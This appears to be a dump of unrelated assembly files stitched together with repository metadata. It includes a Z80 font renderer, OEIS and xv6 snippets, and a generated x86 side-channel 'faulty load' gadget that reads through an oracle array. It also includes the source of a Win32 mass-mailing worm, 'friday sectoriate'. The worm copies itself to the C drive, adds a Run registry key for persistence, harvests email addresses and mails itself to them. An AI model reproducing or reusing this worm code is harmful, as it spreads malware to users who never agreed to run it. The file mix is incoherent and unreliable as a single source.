ld h,0
ld e,a
add a
add a
add a ; *8
ld l,a
ld a,e
add hl,hl ; *16
add h
ld h,a ; *272
ld de,(base_graphics)
add hl,de
ld de,9
add hl,de
ELSE
IF MTHRG
ld h,a ; *256
add a
add a
add a ; *8 -> * 264
ld l,a
inc hl
inc hl
;ld de,($407B)
ld de,(base_graphics)
add hl,de
ELSE
; ld d,a
; ld e,0
ld hl,(base_graphics)
add h
ld h,a
; add hl,de
ENDIF
ENDIF
ld (RIGA+1),hl
; xor a
ld hl,DOTS+1
ld b,(hl)
ld hl,0
ld a,(ansi_COLUMN) ; Column text position
ld e,a
ld d,0
or d
jr z,ZCL
.LP
add hl,de
djnz LP
srl h
rr l
rra
srl h
rr l
rra
srl h
rr l
rra
IF ARX816
add hl,hl
add hl,hl
add hl,hl
ENDIF
srl a
srl a
srl a
srl a
srl a
; ld b,5
;.RGTA
; srl a
; djnz RGTA
.ZCL
ld (PRE+1),a
ld e,a
ld a,(DOTS+1)
add a,e
ld e,a
ld a,16
sub e
.NOC
ld (POST+1),a
.RIGA ; Location on screen
ld de,16384
add hl,de
push hl
pop ix
.char
ld b,'A' ; Put here the character to be printed
IF ROMFONT
ld hl,$1e00
xor a
add b
jr z,NOLFONT
ELSE
IF PACKEDFONT
xor a
rr b
jr c,even
ld a,4
.even
ld (ROLL+1),a
ld hl,font-128
ELSE
ld hl,font-256
ENDIF
ENDIF
ld de,8
.LFONT
add hl,de
djnz LFONT
.NOLFONT
IF !ARX816
IF G007
ld de,34 ; next row
ELSE
IF MTHRG
ld de,33 ; next row
ELSE
ld de,32 ; next row
ENDIF
ENDIF
ENDIF
ld c,8
.PRE
ld b,4
IF ARX816
rl (ix+8)
ELSE
rl (ix+1)
ENDIF
rl (ix+0)
inc b
dec b
jr z,DTS
.L1
IF ARX816
rl (ix+8)
ELSE
rl (ix+1)
ENDIF
rl (ix+0)
djnz L1
.DTS
ld a,(hl)
.BOLD
nop ; rla
nop ; or (hl)
IF ROMFONT
; nothing here !
ELSE
IF PACKEDFONT
.ROLL
jr INVRS
rla
rla
rla
rla
ENDIF
ENDIF
.INVRS
; cpl ; Set to NOP to disable INVERSE
nop
; Underlined text handling
dec c
; jr nz,UNDRL ; Set to JR UNDRL to disable underlined text (loc. INVRS+2)
jr UNDRL
ld a,255
.UNDRL
inc c
; end of underlined text handling
.DOTS
IF A136COL
ld b,2
ENDIF
IF A128COL
ld b,2
ENDIF
IF A124COL
ld b,2
ENDIF
IF A80COL
ld b,3
ENDIF
IF A82COL
ld b,3
ENDIF
IF A85COL
ld b,3
ENDIF
IF A90COL
ld b,3
ENDIF
IF A64COL
ld b,4
ENDIF
IF A62COL
ld b,4
ENDIF
IF A68COL
ld b,4
ENDIF
IF A51COL
ld b,5
ENDIF
IF A49COL
ld b,5
ENDIF
IF A54COL
ld b,5
ENDIF
IF A42COL
ld b,6
ENDIF
IF A41COL
ld b,6
ENDIF
IF A45COL
ld b,6
ENDIF
IF A40COL
ld b,6
ENDIF
IF A36COL
ld b,7
ENDIF
IF A35COL
ld b,7
ENDIF
IF B32COL
ld b,7
ENDIF
IF A38COL
ld b,7
ENDIF
IF A32COL
ld b,8
ENDIF
IF A31COL
ld b,8
ENDIF
IF A34COL
ld b,8
ENDIF
IF A28COL
ld b,8
ENDIF
IF A24COL
ld b,9
ENDIF
IF A27COL
ld b,9
ENDIF
.L2
rla
IF ARX816
rl (ix+8)
ELSE
rl (ix+1)
ENDIF
rl (ix+0)
djnz L2
.POST
ld b,6
inc b
dec b
jr z,NEXT
.L3
IF ARX816
rl (ix+8)
ELSE
rl (ix+1)
ENDIF
rl (ix+0)
djnz L3
.NEXT
IF ARX816
inc ix
ELSE
add ix,de
ENDIF
inc hl
dec c
jr nz,PRE
ret
; The font
; 9 dots: MAX 28 columns
; 8 dots: MAX 32 columns
; 7 dots: MAX 36 columns
; 6 dots: MAX 42 columns
; 5 dots: MAX 51 columns
; 4 dots: MAX 64 columns
; 3 dots: MAX 85 columns Just readable!
; 2 dots: MAX 128 columns (useful for ANSI graphics only.. maybe)
; No file for ROM Font
.font
IF ROMFONT
; nothing here !
ELSE
IF PACKEDFONT
BINARY "stdio/ansi/F4PACK.BIN"
ELSE
IF A136COL
BINARY "stdio/ansi/F3.BIN"
ENDIF
IF A128COL
BINARY "stdio/ansi/F3.BIN"
ENDIF
IF A124COL
BINARY "stdio/ansi/F3.BIN"
ENDIF
IF A80COL
BINARY "stdio/ansi/F4.BIN"
ENDIF
IF A82COL
BINARY "stdio/ansi/F4.BIN"
ENDIF
IF A85COL
BINARY "stdio/ansi/F4.BIN"
ENDIF
IF A90COL
BINARY "stdio/ansi/F4.BIN"
ENDIF
IF A64COL
BINARY "stdio/ansi/F4.BIN"
ENDIF
IF A62COL
BINARY "stdio/ansi/F4.BIN"
ENDIF
IF A68COL
BINARY "stdio/ansi/F4.BIN"
ENDIF
IF A51COL
BINARY "stdio/ansi/F5.BIN"
ENDIF
IF A49COL
BINARY "stdio/ansi/F5.BIN"
ENDIF
IF A54COL
BINARY "stdio/ansi/F5.BIN"
ENDIF
IF A42COL
BINARY "stdio/ansi/F6.BIN"
ENDIF
IF A41COL
BINARY "stdio/ansi/F6.BIN"
ENDIF
IF A45COL
BINARY "stdio/ansi/F6.BIN"
ENDIF
IF A40COL
BINARY "stdio/ansi/F6.BIN"
ENDIF
IF A36COL
BINARY "stdio/ansi/F8.BIN"
ENDIF
IF B32COL
BINARY "stdio/ansi/F8.BIN"
ENDIF
IF A35COL
BINARY "stdio/ansi/F8.BIN"
ENDIF
IF A38COL
BINARY "stdio/ansi/F8.BIN"
ENDIF
IF A32COL
BINARY "stdio/ansi/F8.BIN"
ENDIF
IF A31COL
BINARY "stdio/ansi/F8.BIN"
ENDIF
IF A34COL
BINARY "stdio/ansi/F8.BIN"
ENDIF
IF A28COL
BINARY "stdio/ansi/F8.BIN"
ENDIF
IF A24COL
BINARY "stdio/ansi/F8.BIN"
ENDIF
IF A27COL
BINARY "stdio/ansi/F8.BIN"
ENDIF
ENDIF
ENDIF
| 11.844021 | 76 | 0.65101 |
b6f7f7706c241704aaafc4e4e9f3e83f6f0bc3bc | 34 | asm | Assembly | test-suite/programs/unit/not_0x06.asm | ocus/TinyASM_Haskell | 35698bd1d8c6587e76480531f9e6c3d2086f4c40 | [
"BSD-3-Clause"
] | null | null | null | test-suite/programs/unit/not_0x06.asm | ocus/TinyASM_Haskell | 35698bd1d8c6587e76480531f9e6c3d2086f4c40 | [
"BSD-3-Clause"
] | null | null | null | test-suite/programs/unit/not_0x06.asm | ocus/TinyASM_Haskell | 35698bd1d8c6587e76480531f9e6c3d2086f4c40 | [
"BSD-3-Clause"
] | null | null | null | MOV [0] 7
NOT [0]
DPRINT [0]
HALT
| 6.8 | 10 | 0.588235 |
145d6d4c6383149e4a7f546f2666c2ed22163cd4 | 6,566 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_zr_/i3-7100_9_0xca_notsx.log_21829_622.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_zr_/i3-7100_9_0xca_notsx.log_21829_622.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_zr_/i3-7100_9_0xca_notsx.log_21829_622.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1b3cc, %r12
clflush (%r12)
nop
nop
nop
nop
sub $30562, %r8
movb $0x61, (%r12)
and %rsi, %rsi
lea addresses_D_ht+0x178d8, %r9
nop
nop
nop
nop
cmp $17910, %rbx
mov $0x6162636465666768, %r15
movq %r15, (%r9)
nop
and %rsi, %rsi
lea addresses_UC_ht+0xce3c, %rsi
lea addresses_WC_ht+0x922c, %rdi
nop
nop
nop
nop
nop
xor $14550, %r8
mov $121, %rcx
rep movsq
nop
nop
nop
nop
and %r12, %r12
lea addresses_WT_ht+0xfc04, %r12
nop
nop
dec %r8
and $0xffffffffffffffc0, %r12
vmovntdqa (%r12), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %rdi
cmp $51479, %r15
lea addresses_D_ht+0x89ce, %rbx
nop
nop
sub $62246, %rcx
movups (%rbx), %xmm5
vpextrq $0, %xmm5, %r9
and %rdi, %rdi
lea addresses_normal_ht+0xc938, %r12
nop
nop
nop
nop
and $49125, %rbp
movl $0x61626364, (%r12)
nop
xor %r9, %r9
lea addresses_normal_ht+0x13e50, %r9
nop
nop
nop
nop
nop
dec %rbp
mov (%r9), %r8w
nop
xor $28047, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_PSE+0xb9c, %rsi
lea addresses_WC+0x1d13c, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
add $17381, %rbp
mov $125, %rcx
rep movsl
nop
nop
nop
nop
add $50767, %rcx
// Load
lea addresses_PSE+0x7a3c, %r10
nop
nop
nop
sub $24302, %rsi
mov (%r10), %ecx
nop
nop
nop
add %r10, %r10
// Store
lea addresses_PSE+0x7a3c, %rsi
nop
nop
inc %rbp
mov $0x5152535455565758, %rcx
movq %rcx, %xmm4
vmovups %ymm4, (%rsi)
nop
and $31691, %r10
// Faulty Load
lea addresses_PSE+0x7a3c, %rsi
nop
nop
nop
nop
add %r9, %r9
movaps (%rsi), %xmm3
vpextrq $1, %xmm3, %r14
lea oracles, %rsi
and $0xff, %r14
shlq $12, %r14
mov (%rsi,%r14,1), %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_PSE', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC', 'congruent': 7, 'same': False}}
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 32, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 16, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': True, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 1, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'src': {'same': False, 'congruent': 2, 'NT': True, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'33': 346, '00': 21483}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 35.491892 | 2,999 | 0.656564 |
c8570918ac87d3c45df0dcef2c75c2dfc898cf8a | 588 | asm | Assembly | template/startup.asm | gA4ss/polycypt | 92774726f4ea8cf4420fd1b18110db656589d12f | [
"MIT"
] | null | null | null | template/startup.asm | gA4ss/polycypt | 92774726f4ea8cf4420fd1b18110db656589d12f | [
"MIT"
] | null | null | null | template/startup.asm | gA4ss/polycypt | 92774726f4ea8cf4420fd1b18110db656589d12f | [
"MIT"
] | 2 | 2021-05-12T09:57:01.000Z | 2021-06-05T12:12:57.000Z | ;;
;; startup.asm
;; polycypt
;;
;; Created by logic.yan on 16/3/28.
;; Copyright © 2016年 nagain. All rights reserved.
;;
@_start:
;; read io port 0 data size
mov r4, 0
int 2
;; if r5 is 0, then exit
cmp r5, 0
je @exit
;; r5 is data len, algin 4 bytes
;; ~3u & (3 + v)
mov r7, r5
add r7, 3
mov r6, 3
not r6
and r7, r6
;; alloc memory
sub sp, r7
int 0
;; algorithm
call @algorithm
@output2io:
;; write data to io port 0 after encrypt sp to encrypt data r5 is cipher data len
mov r4, 0
int 1
;; set output io 0 data len
mov r4, 0
int 3
;; exit
@exit:
;; free memory
add sp, r7
int 9
| 14 | 81 | 0.647959 |
fef33a5471a1e5a15309aed701c6f2f5e6bf43ff | 1,061 | nasm | Assembly | src/boot/demo_macros_impl.nasm | maximsmol/nos | 386b4166b3fd1701b734bfcd50ace1b9e1ea38ee | [
"MIT"
] | 1 | 2019-04-29T05:10:52.000Z | 2019-04-29T05:10:52.000Z | src/boot/demo_macros_impl.nasm | maximsmol/nos | 386b4166b3fd1701b734bfcd50ace1b9e1ea38ee | [
"MIT"
] | null | null | null | src/boot/demo_macros_impl.nasm | maximsmol/nos | 386b4166b3fd1701b734bfcd50ace1b9e1ea38ee | [
"MIT"
] | 1 | 2021-12-06T23:49:27.000Z | 2021-12-06T23:49:27.000Z | %macro f_actively_cause_global_warming16 1
push cx
mov cx, %1
call actively_cause_global_warming16
pop cx
%endmacro
%macro f_actively_cause_global_warming32 1
push ecx
mov ecx, %1
call actively_cause_global_warming32
pop ecx
%endmacro
%macro f_puts16_ptr 1
push si
mov si, %1
call puts16
pop si
%endmacro
%macro f_puts16 1
jmp %%skip
%%data:
db %1, `\n\r`, 0
%%skip:
f_puts16_ptr %%data
%endmacro
%macro f_puts32 1
jmp %%skip
%%data:
db %1, 0
%%skip:
push esi
mov esi, %%data
call puts32
pop esi
%endmacro
demopause: equ 130
%macro f_demo_puts16_ptr 1
f_puts16_ptr %1
f_actively_cause_global_warming16 demopause
%endmacro
%macro f_demo_puts16 1
f_puts16 %1
f_actively_cause_global_warming16 demopause
%endmacro
%macro f_demo_puts32 1
f_puts32 %1
f_actively_cause_global_warming32 demopause
%endmacro
%macro f_demo_nl32 0
xor eax, eax
xor ebx, ebx
xor edx, edx
mov ax, [vidmem_addr]
mov bx, 80*2
div bx
mul bx
add ax, 80*2
sub ax, 16*2
mov [vidmem_addr], ax
%endmacro
| 15.376812 | 45 | 0.71819 |
9abb3cc6d4375888f494db86827822a446b3c032 | 19 | asm | Assembly | src/main/fragment/mos6502-common/vbuaa_ge_vbum1_then_la1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/mos6502-common/vbuaa_ge_vbum1_then_la1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/mos6502-common/vbuaa_ge_vbum1_then_la1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | cmp {m1}
bcs {la1}
| 6.333333 | 9 | 0.578947 |
c6068d8675e2f75b0cc3a7b189f18b24962f15c7 | 1,476 | asm | Assembly | programs/oeis/181/A181716.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/181/A181716.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/181/A181716.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A181716: a(n) = a(n-1) + a(n-2) + (-1)^n, with a(0)=0 and a(1)=1.
; 0,1,2,2,5,6,12,17,30,46,77,122,200,321,522,842,1365,2206,3572,5777,9350,15126,24477,39602,64080,103681,167762,271442,439205,710646,1149852,1860497,3010350,4870846,7881197,12752042,20633240,33385281,54018522,87403802,141422325,228826126,370248452,599074577,969323030,1568397606,2537720637,4106118242,6643838880,10749957121,17393796002,28143753122,45537549125,73681302246,119218851372,192900153617,312119004990,505019158606,817138163597,1322157322202,2139295485800,3461452808001,5600748293802,9062201101802,14662949395605,23725150497406,38388099893012,62113250390417,100501350283430,162614600673846,263115950957277,425730551631122,688846502588400,1114577054219521,1803423556807922,2918000611027442,4721424167835365,7639424778862806,12360848946698172,20000273725560977,32361122672259150,52361396397820126,84722519070079277,137083915467899402,221806434537978680,358890350005878081,580696784543856762,939587134549734842,1520283919093591605,2459871053643326446,3980154972736918052,6440026026380244497,10420180999117162550,16860207025497407046,27280388024614569597,44140595050111976642,71420983074726546240,115561578124838522881,186982561199565069122,302544139324403592002
mov $3,$0
mov $5,2
lpb $5
mov $0,$3
sub $5,1
add $0,$5
trn $0,1
seq $0,301653 ; Expansion of x*(1 + 2*x)/((1 - x)*(1 + x)*(1 - x - x^2)).
mov $2,$5
mul $2,$0
add $1,$2
mov $4,$0
lpe
min $3,1
mul $3,$4
sub $1,$3
mov $0,$1
| 70.285714 | 1,167 | 0.817073 |
2d0216f9a85a4f27f7b6b7a56941c0401c367b97 | 572 | asm | Assembly | oeis/002/A002061.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/002/A002061.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/002/A002061.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A002061: Central polygonal numbers: a(n) = n^2 - n + 1.
; Submitted by Christian Krause
; 1,1,3,7,13,21,31,43,57,73,91,111,133,157,183,211,241,273,307,343,381,421,463,507,553,601,651,703,757,813,871,931,993,1057,1123,1191,1261,1333,1407,1483,1561,1641,1723,1807,1893,1981,2071,2163,2257,2353,2451,2551,2653,2757,2863,2971,3081,3193,3307,3423,3541,3661,3783,3907,4033,4161,4291,4423,4557,4693,4831,4971,5113,5257,5403,5551,5701,5853,6007,6163,6321,6481,6643,6807,6973,7141,7311,7483,7657,7833,8011,8191,8373,8557,8743,8931,9121,9313,9507,9703
bin $0,2
mul $0,2
add $0,1
| 71.5 | 453 | 0.75 |
471199544d1d6cb267dcfe332ba1b364ef4301a8 | 3,861 | asm | Assembly | Virus.Win32.FridaySectoriate/friday.asm | 010001111/Vx-Suites | 6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79 | [
"MIT"
] | 2 | 2021-02-04T06:47:45.000Z | 2021-07-28T10:02:10.000Z | Virus.Win32.FridaySectoriate/friday.asm | 010001111/Vx-Suites | 6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79 | [
"MIT"
] | null | null | null | Virus.Win32.FridaySectoriate/friday.asm | 010001111/Vx-Suites | 6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79 | [
"MIT"
] | null | null | null | ;/////////////////////////////////// friday sectoriate ///////////////////////////////
;
;
;
;
; dont ask further questions but you can email ur
; damns, criticisms,and of course ur gf booby pic
; fakedminded[at]coolgoose[point]com
;
;////////////////////////////////////////////////////////////////////////////////////
.586
.model flat,stdcall
option casemap:none
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\advapi32.lib
;includelib \masm32\lib\shlwapi.lib
includelib \masm32\lib\wininet.lib
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\wsock32.inc
include \masm32\include\advapi32.inc
include \masm32\include\wininet.inc
include base64.asm
worm_size = 8704 ;change it according your assembled exe file size
.data?
bwr dd ?
email_address db 256 dup(?)
host_name db 256 dup(?)
worm_file db 256 dup(?)
hres dd ?
ressize dd ?
resmem dd ?
bufferthis2 db 512 dup(?)
.data
signature db "friday version 1.0 Beta",13,10 ,\
"Created By fakedminded in 2005",13,10, \
"for educational purposes only! ",0
To db 'To: "',0
separator db "----=_NextPart_000_000A_01C4FC66.D7DF5CE0",0
Quote db '"',0
space db " ",0
crlf db 13,10,0
subject db "Subject: Important",13,10,0
Mailmsg db "urgent download for yahoo messenger!!",0
start_key db 'Yahoo Patcher!', 0
run_services db 'software\Microsoft\Windows\CurrentVersion\Run',0
from db 'From: "',0
net_flag dd 0
root_file db "c:\sectoriate.exe",0
.code
include base64encoder.asm
include find_email.asm
include host.asm
include send.asm
start:
.code
invoke DeleteFile,offset root_file
invoke GetModuleFileName,0,offset worm_file,256
invoke CopyFile,offset worm_file,offset root_file,FALSE
call base64encoder
invoke RegOpenKeyEx,HKEY_CURRENT_USER,offset run_services,0,KEY_ALL_ACCESS,offset reg_handle
cmp eax,0
jne exit_finish
mov sz_buffer_keyname_e_e,sizeof root_file
invoke RegSetValueEx,reg_handle,addr start_key,0,REG_SZ,offset root_file, sz_buffer_keyname_e_e
invoke RegCloseKey,reg_handle
invoke FindResource,0,1111,RT_RCDATA
mov hres,eax
cmp eax,0
je exit_finish
invoke LoadResource,0,hres
or eax,eax
jz exit_finish
mov resmem,eax
invoke SizeofResource,0,hres
or eax,eax
jz exit_finish
mov ressize ,eax
call EnableArchive
call find_email
call find_host ;for future versions
invoke lstrcpy,offset host_name,eax
wait_for_connection:
invoke Sleep,10000
invoke InternetGetConnectedState,offset net_flag,0
cmp eax,1
jne wait_for_connection
Again:
invoke lstrcat,offset bufferthis2,offset from
invoke lstrcat,offset bufferthis2,offset mailfrom
invoke lstrcat,offset bufferthis2,offset extend3
invoke lstrcat,offset bufferthis2,offset Quote
invoke lstrcat,offset bufferthis2,offset crlf
invoke lstrcat,offset bufferthis2,offset To
invoke lstrcat,offset bufferthis2,offset email_buffer
invoke lstrcat,offset bufferthis2,offset extend3
invoke lstrcat,offset bufferthis2,offset Quote
invoke lstrcat,offset bufferthis2,offset crlf
invoke lstrcat,offset bufferthis2,offset subject
call Intiate_Mail
;cmp eax,1
;je wait_for_connection
call c_send
invoke RtlZeroMemory,offset bufferthis2,512
call gimbo
cmp eax,1
je exit_finish
;jmp Again
jmp wait_for_connection
invoke ExitProcess,0
exit_finish:
.data
errfin db "error in finishing part",0
.code
;invoke MessageBox,0,offset errfin,offset errfin,0 ;once used for debugging
invoke GlobalFree,ultmem
invoke ExitProcess,0
end start
| 21.9375 | 97 | 0.703963 |
f7073ade3d6c81131bb78c6ab76935e019a4d64f | 33,215 | asm | Assembly | user/strace.asm | Pallavi-Pamulapati/Modified-xv6 | 5365a34dc7d755d61d0de9b3f2d5a68d052d57de | [
"MIT-0"
] | null | null | null | user/strace.asm | Pallavi-Pamulapati/Modified-xv6 | 5365a34dc7d755d61d0de9b3f2d5a68d052d57de | [
"MIT-0"
] | null | null | null | user/strace.asm | Pallavi-Pamulapati/Modified-xv6 | 5365a34dc7d755d61d0de9b3f2d5a68d052d57de | [
"MIT-0"
] | null | null | null |
user/_strace: file format elf64-littleriscv
Disassembly of section .text:
0000000000000000 <main>:
#include "kernel/types.h"
#include "kernel/stat.h"
#include "user/user.h"
int main(int argc, char **argv)
{
0: 7179 addi sp,sp,-48
2: f406 sd ra,40(sp)
4: f022 sd s0,32(sp)
6: ec26 sd s1,24(sp)
8: 1800 addi s0,sp,48
a: 84ae mv s1,a1
int pid = fork();
c: 00000097 auipc ra,0x0
10: 2c4080e7 jalr 708(ra) # 2d0 <fork>
if (!pid)
14: ed05 bnez a0,4c <main+0x4c>
{
trace(atoi(argv[1]));
16: 6488 ld a0,8(s1)
18: 00000097 auipc ra,0x0
1c: 1c0080e7 jalr 448(ra) # 1d8 <atoi>
20: 00000097 auipc ra,0x0
24: 360080e7 jalr 864(ra) # 380 <trace>
if (exec(argv[2], argv + 2) < 0)
28: 01048593 addi a1,s1,16
2c: 6888 ld a0,16(s1)
2e: 00000097 auipc ra,0x0
32: 2e2080e7 jalr 738(ra) # 310 <exec>
36: 02055163 bgez a0,58 <main+0x58>
printf("Exec error\n");
3a: 00000517 auipc a0,0x0
3e: 7ce50513 addi a0,a0,1998 # 808 <malloc+0xea>
42: 00000097 auipc ra,0x0
46: 61e080e7 jalr 1566(ra) # 660 <printf>
4a: a039 j 58 <main+0x58>
}
else
{
int status;
wait(&status);
4c: fdc40513 addi a0,s0,-36
50: 00000097 auipc ra,0x0
54: 290080e7 jalr 656(ra) # 2e0 <wait>
}
// return 0;
exit(0);
58: 4501 li a0,0
5a: 00000097 auipc ra,0x0
